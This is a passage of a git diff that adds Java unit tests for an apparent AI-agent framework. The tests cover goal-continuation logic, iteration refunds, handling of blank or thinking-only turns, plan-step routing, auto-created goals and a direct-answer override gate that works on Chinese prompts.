    + */ +class GoalEvaluationNodeContinuationTest { + + // ===== Pure decision helpers ===== + + @Test + void hardSkip_coversUserAndNonProgressTerminals_only() { + assertTrue(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.STOPPED.getValue())); + assertTrue(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.RETURN_DIRECT.getValue())); + assertTrue(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.ERROR_FALLBACK.getValue())); + // The two that must now fall through to evaluation: + assertFalse(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.MAX_ITERATIONS_REACHED.getValue())); + assertFalse(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.EVIDENCE_INSUFFICIENT.getValue())); + assertFalse(GoalEvaluationNode.isHardSkipFinishReason(FinishReason.NORMAL.getValue())); + } + + @Test + void iterationCapReached_onlyForMaxIterations() { + assertTrue(GoalEvaluationNode.isIterationCapReached(FinishReason.MAX_ITERATIONS_REACHED.getValue())); + assertFalse(GoalEvaluationNode.isIterationCapReached(FinishReason.EVIDENCE_INSUFFICIENT.getValue())); + assertFalse(GoalEvaluationNode.isIterationCapReached(FinishReason.NORMAL.getValue())); + } + + // ===== resolveActiveGoal: same-turn activation ===== + + @Test + void resolveActiveGoal_prefersStateSnapshot_noDbLookup() { + GoalService goalService = mock(GoalService.class); + GoalEntity snap = new GoalEntity(); + snap.setId(7L); + OverAllState s = new OverAllState(Map.of( + MateClawStateKeys.ACTIVE_GOAL, snap, + MateClawStateKeys.CONVERSATION_ID, "c1")); + + Optional out = GoalEvaluationNode.resolveActiveGoal(s, goalService); + + assertTrue(out.isPresent()); + assertEquals(7L, out.get().getId()); + // Snapshot hit must not touch the DB. + verify(goalService, never()).findActiveByConversation(anyString()); + } + + @Test + void resolveActiveGoal_fallsBackToDb_whenSnapshotEmpty() { + GoalService goalService = mock(GoalService.class); + GoalEntity fromDb = new GoalEntity(); + fromDb.setId(9L); + when(goalService.findActiveByConversation("c1")).thenReturn(fromDb); + OverAllState s = new OverAllState(Map.of(MateClawStateKeys.CONVERSATION_ID, "c1")); + + Optional out = GoalEvaluationNode.resolveActiveGoal(s, goalService); + + assertTrue(out.isPresent(), "a goal set mid-turn must be found via the DB fallback"); + assertEquals(9L, out.get().getId()); + } + + @Test + void resolveActiveGoal_emptyWhenNoSnapshotNoDbGoal() { + GoalService goalService = mock(GoalService.class); + when(goalService.findActiveByConversation(anyString())).thenReturn(null); + OverAllState s = new OverAllState(Map.of(MateClawStateKeys.CONVERSATION_ID, "c1")); + assertTrue(GoalEvaluationNode.resolveActiveGoal(s, goalService).isEmpty()); + } + + // ===== apply() behaviour ===== + + @Test + void maxIterations_injectsFollowup_andResetsIterationBudget() throws Exception { + Fixture f = new Fixture(); + Map out = f.node().apply( + f.state(FinishReason.MAX_ITERATIONS_REACHED.getValue(), 0, 0)); + + // Followup injected for the run-to-completion loop. + assertEquals(Boolean.TRUE, out.get(MateClawStateKeys.GOAL_FOLLOWUP_INJECTED)); + assertEquals(1, out.get(MateClawStateKeys.GOAL_FOLLOWUP_COUNT)); + // Hard continuation: fresh ReAct segment. + assertEquals(0, out.get(MateClawStateKeys.CURRENT_ITERATION)); + assertEquals(1, out.get(MateClawStateKeys.GOAL_HARD_CONTINUATION_COUNT)); + // Stale limit-exceeded draft/flag cleared so it can't resurface. + assertEquals("", out.get(MateClawStateKeys.FINAL_ANSWER_DRAFT)); + assertEquals(Boolean.FALSE, out.get(MateClawStateKeys.LIMIT_EXCEEDED)); + assertEquals("", out.get(MateClawStateKeys.FINAL_ANSWER)); + assertEquals("", out.get(MateClawStateKeys.FINISH_REASON)); + // Not a terminal pass — the next answer must be re-evaluated. + assertFalse(Boolean.TRUE.equals(out.get(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN))); + // Followup appended as a user message. + @SuppressWarnings("unchecked") + List msgs = (List) out.get(MateClawStateKeys.MESSAGES); + assertEquals(1, msgs.size()); + assertInstanceOf(UserMessage.class, msgs.get(0)); + } + + @Test + void evidenceInsufficient_injectsFollowup_withoutBudgetReset() throws Exception { + Fixture f = new Fixture(); + Map out = f.node().apply( + f.state(FinishReason.EVIDENCE_INSUFFICIENT.getValue(), 0, 0)); + + assertEquals(Boolean.TRUE, out.get(MateClawStateKeys.GOAL_FOLLOWUP_INJECTED)); + // No iteration reset / hard-continuation accounting on this path. + assertFalse(out.containsKey(MateClawStateKeys.CURRENT_ITERATION)); + assertFalse(out.containsKey(MateClawStateKeys.GOAL_HARD_CONTINUATION_COUNT)); + assertFalse(out.containsKey(MateClawStateKeys.FINAL_ANSWER_DRAFT)); + } + + @Test + void stopped_skipsEvaluationEntirely() throws Exception { + Fixture f = new Fixture(); + Map out = f.node().apply( + f.state(FinishReason.STOPPED.getValue(), 0, 0)); + + assertEquals(Boolean.TRUE, out.get(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN)); + assertFalse(out.containsKey(MateClawStateKeys.GOAL_FOLLOWUP_INJECTED)); + // Evaluator must not even be called on a user-stopped turn. + verify(f.evaluationService, never()).evaluate(any(), anyList(), anyString()); + } + + @Test + void maxIterations_hardCapReached_endsRunWithoutReset() throws Exception { + Fixture f = new Fixture(); + // hardContinuationCount already at the cap (default cap = 1). + Map out = f.node().apply( + f.state(FinishReason.MAX_ITERATIONS_REACHED.getValue(), 0, 1)); + + // Falls through to the terminal "continue, no followup" path. + assertEquals(Boolean.TRUE, out.get(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN)); + assertFalse(out.containsKey(MateClawStateKeys.GOAL_FOLLOWUP_INJECTED)); + assertFalse(out.containsKey(MateClawStateKeys.CURRENT_ITERATION)); + } + + // ===== Test fixture ===== + + private static final class Fixture { + final GoalEvaluationService evaluationService = mock(GoalEvaluationService.class); + final GoalFollowupService followupService = mock(GoalFollowupService.class); + final GoalService goalService = mock(GoalService.class); + final GoalProperties properties = new GoalProperties(); + final ConversationWindowManager windowManager = mock(ConversationWindowManager.class); + final ConversationService conversationService = mock(ConversationService.class); + + Fixture() { + GoalEntity goal = new GoalEntity(); + goal.setId(1L); + goal.setTitle("ship the feature"); + + GoalEvaluationResult continueResult = new GoalEvaluationResult( + 0.5, "missing tests", GoalEvaluationResult.DECISION_CONTINUE, false, + "stub-model", 1, 5L, List.of(), null); + + lenient().when(evaluationService.evaluate(any(), anyList(), anyString())) + .thenReturn(continueResult); + lenient().when(goalService.getById(eq(1L))).thenReturn(goal); + lenient().when(goalService.isBudgetExhausted(any())).thenReturn(false); + lenient().when(goalService.toResponse(any())).thenReturn(mock(GoalResponse.class)); + lenient().when(followupService.maybeBuildFollowup(any(), any())) + .thenReturn(Optional.of("Continue toward the goal. Take the next concrete step.")); + } + + GoalEvaluationNode node() { + return new GoalEvaluationNode(evaluationService, followupService, goalService, + properties, windowManager, conversationService, GraphFlavor.REACT); + } + + /** + * Build a mocked graph state for an active-goal terminal turn. + * + * @param finishReason the REACT finishReason under test + * @param followupCount goal_followup_count already this run + * @param hardContinuationCount goal_hard_continuation_count already this run + */ + OverAllState state(String finishReason, int followupCount, int hardContinuationCount) { + GoalEntity goal = new GoalEntity(); + goal.setId(1L); + goal.setTitle("ship the feature"); + + Map vals = new HashMap<>(); + vals.put(MateClawStateKeys.ACTIVE_GOAL, goal); + vals.put(MateClawStateKeys.GOAL_EVALUATED_THIS_RUN, false); + vals.put(MateClawStateKeys.FINISH_REASON, finishReason); + vals.put(MateClawStateKeys.AWAITING_APPROVAL, false); + vals.put(MateClawStateKeys.FINAL_ANSWER, "partial answer so far"); + vals.put(MateClawStateKeys.LLM_CALL_COUNT, 10); + vals.put(MateClawStateKeys.GOAL_ACCOUNTED_LLM_CALL_COUNT, 0); + vals.put(MateClawStateKeys.GOAL_FOLLOWUP_COUNT, followupCount); + vals.put(MateClawStateKeys.GOAL_HARD_CONTINUATION_COUNT, hardContinuationCount); + return new OverAllState(vals); + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ObservationNodeRefundTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ObservationNodeRefundTest.java new file mode 100644 index 00000000..29bb5325 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ObservationNodeRefundTest.java @@ -0,0 +1,86 @@ +package vip.mate.agent.graph.node; + +import com.alibaba.cloud.ai.graph.OverAllState; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import vip.mate.agent.graph.observation.ObservationProcessor; +import vip.mate.config.GraphObservationProperties; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static vip.mate.agent.graph.state.MateClawStateKeys.*; + +/** + * Iteration-refund behaviour: a reasoning round whose entire tool batch was + * progressive-disclosure setup (load_skill / enable_tool) must not consume an + * iteration, bounded by a per-run cap. + */ +class ObservationNodeRefundTest { + + private ObservationNode node() { + return new ObservationNode(new ObservationProcessor(new GraphObservationProperties())); + } + + private static ToolResponseMessage.ToolResponse result(String name) { + return new ToolResponseMessage.ToolResponse("id-" + name, name, "ok"); + } + + private OverAllState state(int iteration, int refundCount, List results) { + Map m = new HashMap<>(); + m.put(CURRENT_ITERATION, iteration); + m.put(MAX_ITERATIONS, 25); + m.put(ITERATION_REFUND_COUNT, refundCount); + m.put(OBSERVATION_HISTORY, new ArrayList()); + m.put(TOOL_RESULTS, results); + m.put(TOOL_CALL_COUNT, 0); + return new OverAllState(m); + } + + @Test + @DisplayName("纯渐进披露轮(load_skill)退还迭代,不递增") + void setupOnlyRound_refundsIteration() throws Exception { + Map out = node().apply(state(3, 0, List.of(result("load_skill")))); + assertEquals(3, out.get(CURRENT_ITERATION), "setup-only round must not advance the iteration"); + assertEquals(1, out.get(ITERATION_REFUND_COUNT)); + } + + @Test + @DisplayName("enable_tool 同样视为 setup-only") + void enableToolRound_refundsIteration() throws Exception { + Map out = node().apply(state(5, 1, List.of(result("enable_tool")))); + assertEquals(5, out.get(CURRENT_ITERATION)); + assertEquals(2, out.get(ITERATION_REFUND_COUNT)); + } + + @Test + @DisplayName("真实工具轮正常计费") + void realToolRound_consumesIteration() throws Exception { + Map out = node().apply(state(3, 0, List.of(result("web_search")))); + assertEquals(4, out.get(CURRENT_ITERATION)); + assertNull(out.get(ITERATION_REFUND_COUNT), "no refund on a real-work round"); + } + + @Test + @DisplayName("混合批次(披露+真实工具)正常计费") + void mixedRound_consumesIteration() throws Exception { + Map out = node().apply( + state(3, 0, List.of(result("load_skill"), result("web_search")))); + assertEquals(4, out.get(CURRENT_ITERATION)); + assertNull(out.get(ITERATION_REFUND_COUNT)); + } + + @Test + @DisplayName("退还次数达上限后不再退还") + void refundCapReached_consumesIteration() throws Exception { + // cap is 3; refundCount already 3 -> charged normally + Map out = node().apply(state(7, 3, List.of(result("load_skill")))); + assertEquals(8, out.get(CURRENT_ITERATION)); + assertNull(out.get(ITERATION_REFUND_COUNT)); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodeContinuationIntentTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodeContinuationIntentTest.java new file mode 100644 index 00000000..14455dfc --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodeContinuationIntentTest.java @@ -0,0 +1,116 @@ +package vip.mate.agent.graph.node; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import org.springframework.ai.chat.messages.UserMessage; +import vip.mate.agent.graph.NodeStreamingChatHelper.ErrorType; +import vip.mate.agent.graph.NodeStreamingChatHelper.StreamResult; +import vip.mate.agent.graph.node.ReasoningNode.ContinuationIntent; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pins {@link ReasoningNode#classifyContinuation} and + * {@link ReasoningNode#lastTurnIsToolResponse} — the logic that decides whether + * a no-tool-call turn is a real final answer or an empty/thinking-only stop that + * must be nudged to continue. The headline case: an interleaved-thinking model + * that returns reasoning but no content after a successful tool call (e.g. a + * send-file tool succeeds but the download URL is never written) must be + * re-prompted in-run, not accepted as a final empty answer. + */ +class ReasoningNodeContinuationIntentTest { + + private static StreamResult turn(String text, String thinking, boolean hasToolCalls) { + return new StreamResult(text, thinking, null, List.of(), hasToolCalls, 0, 0); + } + + @Test + @DisplayName("Visible content → FINAL (real answer).") + void contentIsFinal() { + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(turn("here it is", "", false))); + // Content present even alongside thinking is still a real answer. + assertEquals(ContinuationIntent.FINAL, + ReasoningNode.classifyContinuation(turn("here it is", "let me reason", false))); + } + + @Test + @DisplayName("Tool call → FINAL (owned by the tool-call branch, not the nudge loop).") + void toolCallIsFinal() { + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(turn("", "", true))); + } + + @Test + @DisplayName("Reasoning but no content and no tool call → THINKING_ONLY (nudge to answer).") + void thinkingOnlyNeedsNudge() { + assertEquals(ContinuationIntent.THINKING_ONLY, + ReasoningNode.classifyContinuation(turn("", "I have the file, the task is done", false))); + assertEquals(ContinuationIntent.THINKING_ONLY, + ReasoningNode.classifyContinuation(turn(" ", "reasoning here", false))); + } + + @Test + @DisplayName("No content, no thinking, no tool call → BLANK (nudge to continue).") + void blankNeedsNudge() { + assertEquals(ContinuationIntent.BLANK, ReasoningNode.classifyContinuation(turn("", "", false))); + assertEquals(ContinuationIntent.BLANK, ReasoningNode.classifyContinuation(turn(null, null, false))); + } + + @Test + @DisplayName("null / fatal / prompt-too-long / partial → FINAL (handled by other branches).") + void otherStatesAreFinal() { + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(null)); + + StreamResult fatal = new StreamResult("", "", null, List.of(), false, 0, 0, + false, "upstream boom", ErrorType.SERVER_ERROR); + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(fatal)); + + StreamResult promptTooLong = new StreamResult("", "", null, List.of(), false, 0, 0, + false, null, ErrorType.PROMPT_TOO_LONG); + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(promptTooLong)); + + StreamResult partial = new StreamResult("", "", null, List.of(), false, 0, 0, + true, null, ErrorType.NONE); + assertEquals(ContinuationIntent.FINAL, ReasoningNode.classifyContinuation(partial)); + } + + @Test + @DisplayName("isEmptyCompletion stays true only for BLANK (backward compatible).") + void isEmptyCompletionIsBlankOnly() { + assertTrue(ReasoningNode.isEmptyCompletion(turn("", "", false))); + assertFalse(ReasoningNode.isEmptyCompletion(turn("", "thinking", false))); + assertFalse(ReasoningNode.isEmptyCompletion(turn("answer", "", false))); + assertFalse(ReasoningNode.isEmptyCompletion(turn("", "", true))); + } + + @Test + @DisplayName("Newest turn being a tool response is detected → picks the answer-anchored nudge.") + void detectsTrailingToolResponse() { + List afterTool = List.of( + new UserMessage("send me the file"), + new AssistantMessage("calling send_file"), + ToolResponseMessage.builder().responses(List.of( + new ToolResponseMessage.ToolResponse("1", "send_file", "{\"url\":\"https://x/y\"}"))) + .build()); + assertTrue(ReasoningNode.lastTurnIsToolResponse(afterTool)); + } + + @Test + @DisplayName("A user/assistant turn after the tool result → not a tool-anchored stop.") + void noTrailingToolResponse() { + assertFalse(ReasoningNode.lastTurnIsToolResponse(List.of( + new UserMessage("hello")))); + assertFalse(ReasoningNode.lastTurnIsToolResponse(List.of( + ToolResponseMessage.builder().responses(List.of( + new ToolResponseMessage.ToolResponse("1", "send_file", "ok"))).build(), + new UserMessage("follow up")))); + assertFalse(ReasoningNode.lastTurnIsToolResponse(List.of())); + assertFalse(ReasoningNode.lastTurnIsToolResponse(null)); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodePtlPromptTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodePtlPromptTest.java index 34679910..3c0d4851 100644 --- a/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodePtlPromptTest.java +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/node/ReasoningNodePtlPromptTest.java @@ -48,7 +48,7 @@ class ReasoningNodePtlPromptTest { "/workspace/active", "42", "investigate the bug in module X", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); // Three layers: System, runtime-context UserMessage, wiki UserMessage. assertThat(prefix).hasSize(3); @@ -74,10 +74,10 @@ class ReasoningNodePtlPromptTest { List a = node.buildNonHistoryPrefix( "sys", "/workspace", "42", "goal", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); List b = node.buildNonHistoryPrefix( "sys", "/workspace", "42", "goal", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); assertThat(a).hasSameSizeAs(b); for (int i = 0; i < a.size(); i++) { @@ -98,7 +98,7 @@ class ReasoningNodePtlPromptTest { "/workspace/active", "42", "investigate the bug in module X", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); assertThat(prefix).hasSize(2); assertThat(prefix.get(0)).isInstanceOf(SystemMessage.class); @@ -112,7 +112,7 @@ class ReasoningNodePtlPromptTest { List prefix = node.buildNonHistoryPrefix( "sys", "/workspace", "not-a-number", "goal", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); // Non-numeric agentId is the contract carried over from the // pre-refactor codebase — skip wiki injection rather than throwing. @@ -132,7 +132,7 @@ class ReasoningNodePtlPromptTest { List prefix = node.buildNonHistoryPrefix( "sys", "/workspace", "42", "goal", - vip.mate.agent.context.ChatOrigin.EMPTY); + vip.mate.agent.context.ChatOrigin.EMPTY, "", ""); assertThat(prefix).hasSize(2); } diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcherTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcherTest.java new file mode 100644 index 00000000..352bb798 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/edge/StepProgressDispatcherTest.java @@ -0,0 +1,58 @@ +package vip.mate.agent.graph.plan.edge; + +import com.alibaba.cloud.ai.graph.OverAllState; +import com.alibaba.cloud.ai.graph.StateGraph; +import org.junit.jupiter.api.Test; +import vip.mate.agent.graph.plan.state.PlanStateKeys; +import vip.mate.agent.graph.state.MateClawStateKeys; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Routing coverage for the Plan-Execute step dispatcher, including the + * step-failure re-plan edge (phase=plan_replan → PLAN_GENERATION). + */ +class StepProgressDispatcherTest { + + private final StepProgressDispatcher dispatcher = new StepProgressDispatcher(); + + private OverAllState state(String phase, int stepIndex, List steps) { + Map vals = new HashMap<>(); + vals.put(MateClawStateKeys.CURRENT_PHASE, phase); + vals.put(PlanStateKeys.CURRENT_STEP_INDEX, stepIndex); + vals.put(PlanStateKeys.PLAN_STEPS, steps); + return new OverAllState(vals); + } + + @Test + void replanPhase_routesToPlanGeneration() { + String next = dispatcher.apply(state("plan_replan", 0, List.of("a", "b"))); + assertEquals(PlanStateKeys.PLAN_GENERATION_NODE, next); + } + + @Test + void abortedPhase_routesToEnd() { + assertEquals(StateGraph.END, dispatcher.apply(state("plan_aborted", 1, List.of("a", "b")))); + } + + @Test + void awaitingApproval_routesToEnd() { + assertEquals(StateGraph.END, dispatcher.apply(state("awaiting_approval", 0, List.of("a")))); + } + + @Test + void moreStepsRemaining_routesToStepExecution() { + assertEquals(PlanStateKeys.STEP_EXECUTION_NODE, + dispatcher.apply(state("step_completed", 1, List.of("a", "b", "c")))); + } + + @Test + void allStepsDone_routesToPlanSummary() { + assertEquals(PlanStateKeys.PLAN_SUMMARY_NODE, + dispatcher.apply(state("step_completed", 2, List.of("a", "b")))); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationAutoGoalTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationAutoGoalTest.java new file mode 100644 index 00000000..a2c793db --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationAutoGoalTest.java @@ -0,0 +1,120 @@ +package vip.mate.agent.graph.plan.node; + +import com.alibaba.cloud.ai.graph.OverAllState; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.agent.graph.plan.state.PlanStateAccessor; +import vip.mate.agent.graph.plan.state.PlanStateKeys; +import vip.mate.agent.graph.state.MateClawStateKeys; +import vip.mate.goal.config.GoalProperties; +import vip.mate.goal.model.GoalCreateRequest; +import vip.mate.goal.model.GoalEntity; +import vip.mate.goal.service.GoalService; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.lenient; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Covers auto-deriving a goal from a multi-step Plan-Execute plan: gating + * conditions and that the plan steps seed the goal's acceptance criteria. + */ +class PlanGenerationAutoGoalTest { + + private final GoalService goalService = mock(GoalService.class); + private final GoalProperties properties = new GoalProperties(); + + private PlanGenerationNode node() { + return new PlanGenerationNode(null, null, null, null, null, goalService, properties); + } + + private PlanStateAccessor accessor(boolean withAgent, String goalText) { + ChatOrigin origin = ChatOrigin.web("conv_1", "admin", 1L, null); + if (withAgent) { + origin = origin.withAgent(1000000001L); + } + Map vals = new HashMap<>(); + vals.put(MateClawStateKeys.CHAT_ORIGIN, origin); + vals.put(PlanStateKeys.GOAL, goalText); + return new PlanStateAccessor(new OverAllState(vals)); + } + + @Test + void multiStepPlan_createsGoal_seededWithStepCriteria() { + GoalEntity created = new GoalEntity(); + created.setId(99L); + when(goalService.create(any(), eq("admin"))).thenReturn(created); + + GoalEntity result = node().maybeAutoCreateGoal( + accessor(true, "分三步完成:读取、分析、汇总"), + List.of("读取文件", "列出建议", "汇总计划")); + + assertNotNull(result); + assertEquals(99L, result.getId()); + + ArgumentCaptor cap = ArgumentCaptor.forClass(GoalCreateRequest.class); + verify(goalService).create(cap.capture(), eq("admin")); + GoalCreateRequest req = cap.getValue(); + assertEquals("conv_1", req.getConversationId()); + assertEquals(1000000001L, req.getAgentId()); + // Plan steps become acceptance criteria. + assertNotNull(req.getCriteria()); + assertEquals(3, req.getCriteria().size()); + assertEquals("读取文件", req.getCriteria().get(0).text()); + } + + @Test + void featureDisabled_returnsNull_noCreate() { + properties.setAutoGoalFromPlan(false); + GoalEntity result = node().maybeAutoCreateGoal( + accessor(true, "g"), List.of("a", "b")); + assertNull(result); + verify(goalService, never()).create(any(), any()); + } + + @Test + void singleStepPlan_returnsNull() { + GoalEntity result = node().maybeAutoCreateGoal(accessor(true, "g"), List.of("only one")); + assertNull(result); + verify(goalService, never()).create(any(), any()); + } + + @Test + void existingActiveGoal_returnsNull_noCreate() { + when(goalService.findActiveByConversation("conv_1")).thenReturn(new GoalEntity()); + GoalEntity result = node().maybeAutoCreateGoal( + accessor(true, "g"), List.of("a", "b")); + assertNull(result); + verify(goalService, never()).create(any(), any()); + } + + @Test + void missingAgentContext_returnsNull() { + GoalEntity result = node().maybeAutoCreateGoal( + accessor(false, "g"), List.of("a", "b")); + assertNull(result); + verify(goalService, never()).create(any(), any()); + } + + @Test + void masterSwitchOff_returnsNull() { + properties.setEnabled(false); + lenient().when(goalService.create(any(), any())).thenReturn(new GoalEntity()); + GoalEntity result = node().maybeAutoCreateGoal( + accessor(true, "g"), List.of("a", "b")); + assertNull(result); + verify(goalService, never()).create(any(), any()); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationEvidenceGateTest.java b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationEvidenceGateTest.java new file mode 100644 index 00000000..ef6ccd39 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/agent/graph/plan/node/PlanGenerationEvidenceGateTest.java @@ -0,0 +1,111 @@ +package vip.mate.agent.graph.plan.node; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pins the triage evidence gate ({@link PlanGenerationNode#shouldOverrideDirectAnswer}). + * + *

    The gate catches the failure mode where the triage model returns a + * {@code direct_answer} (category A) for a task that actually needs tools — + * accepting it would end the turn via DirectAnswerNode without ever executing, + * which surfaces to users as "复杂任务不执行就停止". When fired, the node + * downgrades to a single-step plan so the executor still reaches the tools. + * + *

    The gate is intentionally biased toward executing: a false positive costs + * one extra executor pass (which still answers), while a false negative drops + * the whole task. These tests lock both the must-override cases and the + * genuine-knowledge-Q&A cases that must NOT be downgraded. + */ +@DisplayName("PlanGeneration triage evidence gate") +class PlanGenerationEvidenceGateTest { + + @Test + @DisplayName("overrides when the goal contains clear action verbs") + void overridesOnActionGoal() { + // file / memory / search / generate actions all imply tools + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("帮我读取 config.yml 并总结配置项", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("记住我偏好简洁的回答", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("搜索一下今天的 AI 新闻", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("帮我生成一份周报模板", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("查一下我的知识库里有没有这份文档", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("你现在挂载了哪些技能和工具?", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer("打开 MessageBubble.vue 看看渲染逻辑", null)); + } + + @Test + @DisplayName("overrides when the answer is a plan preamble that promises action") + void overridesOnActionPromiseAnswer() { + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer( + "这个项目用了什么技术栈", "我先去读取项目的 pom.xml 再回答你。")); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer( + "总结一下", "让我先检索一下相关记忆。")); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer( + "汇总", "接下来我会调用搜索工具获取最新数据。")); + } + + @Test + @DisplayName("does NOT override genuine knowledge questions") + void keepsDirectAnswerForKnowledge() { + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer( + "什么是依赖注入?", "依赖注入是一种控制反转的实现方式……")); + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer( + "用一句话解释一下闭包", "闭包是函数与其词法作用域的组合。")); + // A normal narrative opener ("我来介绍…") must not be mistaken for an + // action promise — the verb after it is descriptive, not a tool call. + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer( + "介绍一下杭州", "我来介绍一下杭州这座城市的历史与风景。")); + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer( + "Java 和 Kotlin 的主要区别是什么", "两者的主要区别在于语法简洁性和空安全……")); + } + + @Test + @DisplayName("null-safe on missing goal / answer") + void nullSafe() { + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer(null, null)); + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer("普通问候", null)); + } + + // The goal handed to triage is wrapped by RuntimeContextInjector with a + // block that itself contains filenames (user.md, PROFILE.md) + // and memory keywords. The gate must match the user's ASK, not the wrapper — + // otherwise it fires on every task and kills the direct-answer fast path. + private static final String MEMORY_WRAPPER = + "\n" + + "The following is what you already know about this user.\n" + + "--- structured/user.md ---\n" + + "## preferred_answer_style\n用户喜欢简洁、分点的回答方式。\n" + + "--- PROFILE.md ---\n## 回答偏好\n- 用户喜欢简洁、分点的回答方式。\n" + + "\n\n"; + + @Test + @DisplayName("ignores the injected memory-context wrapper (no false positive)") + void ignoresInjectedWrapper() { + // Trivial knowledge question — the wrapper contains user.md / 偏好, but the + // real ask needs no tools, so the gate must NOT fire. + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer(MEMORY_WRAPPER + "1加1等于几", "2")); + assertFalse(PlanGenerationNode.shouldOverrideDirectAnswer(MEMORY_WRAPPER + "什么是闭包", "闭包是……")); + } + + @Test + @DisplayName("still fires on a real action ask even when wrapped") + void firesOnRealActionInsideWrapper() { + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer( + MEMORY_WRAPPER + "帮我读取 pom.xml 并总结依赖", null)); + assertTrue(PlanGenerationNode.shouldOverrideDirectAnswer( + MEMORY_WRAPPER + "搜索一下今天的新闻", null)); + } + + @Test + @DisplayName("stripInjectedContext returns the raw ask") + void stripsWrapper() { + assertEquals("1加1等于几", PlanGenerationNode.stripInjectedContext(MEMORY_WRAPPER + "1加1等于几")); + assertEquals("无包装直接问", PlanGenerationNode.stripInjectedContext("无包装直接问")); + assertNull(PlanGenerationNode.stripInjectedContext(null)); + } +} diff --git 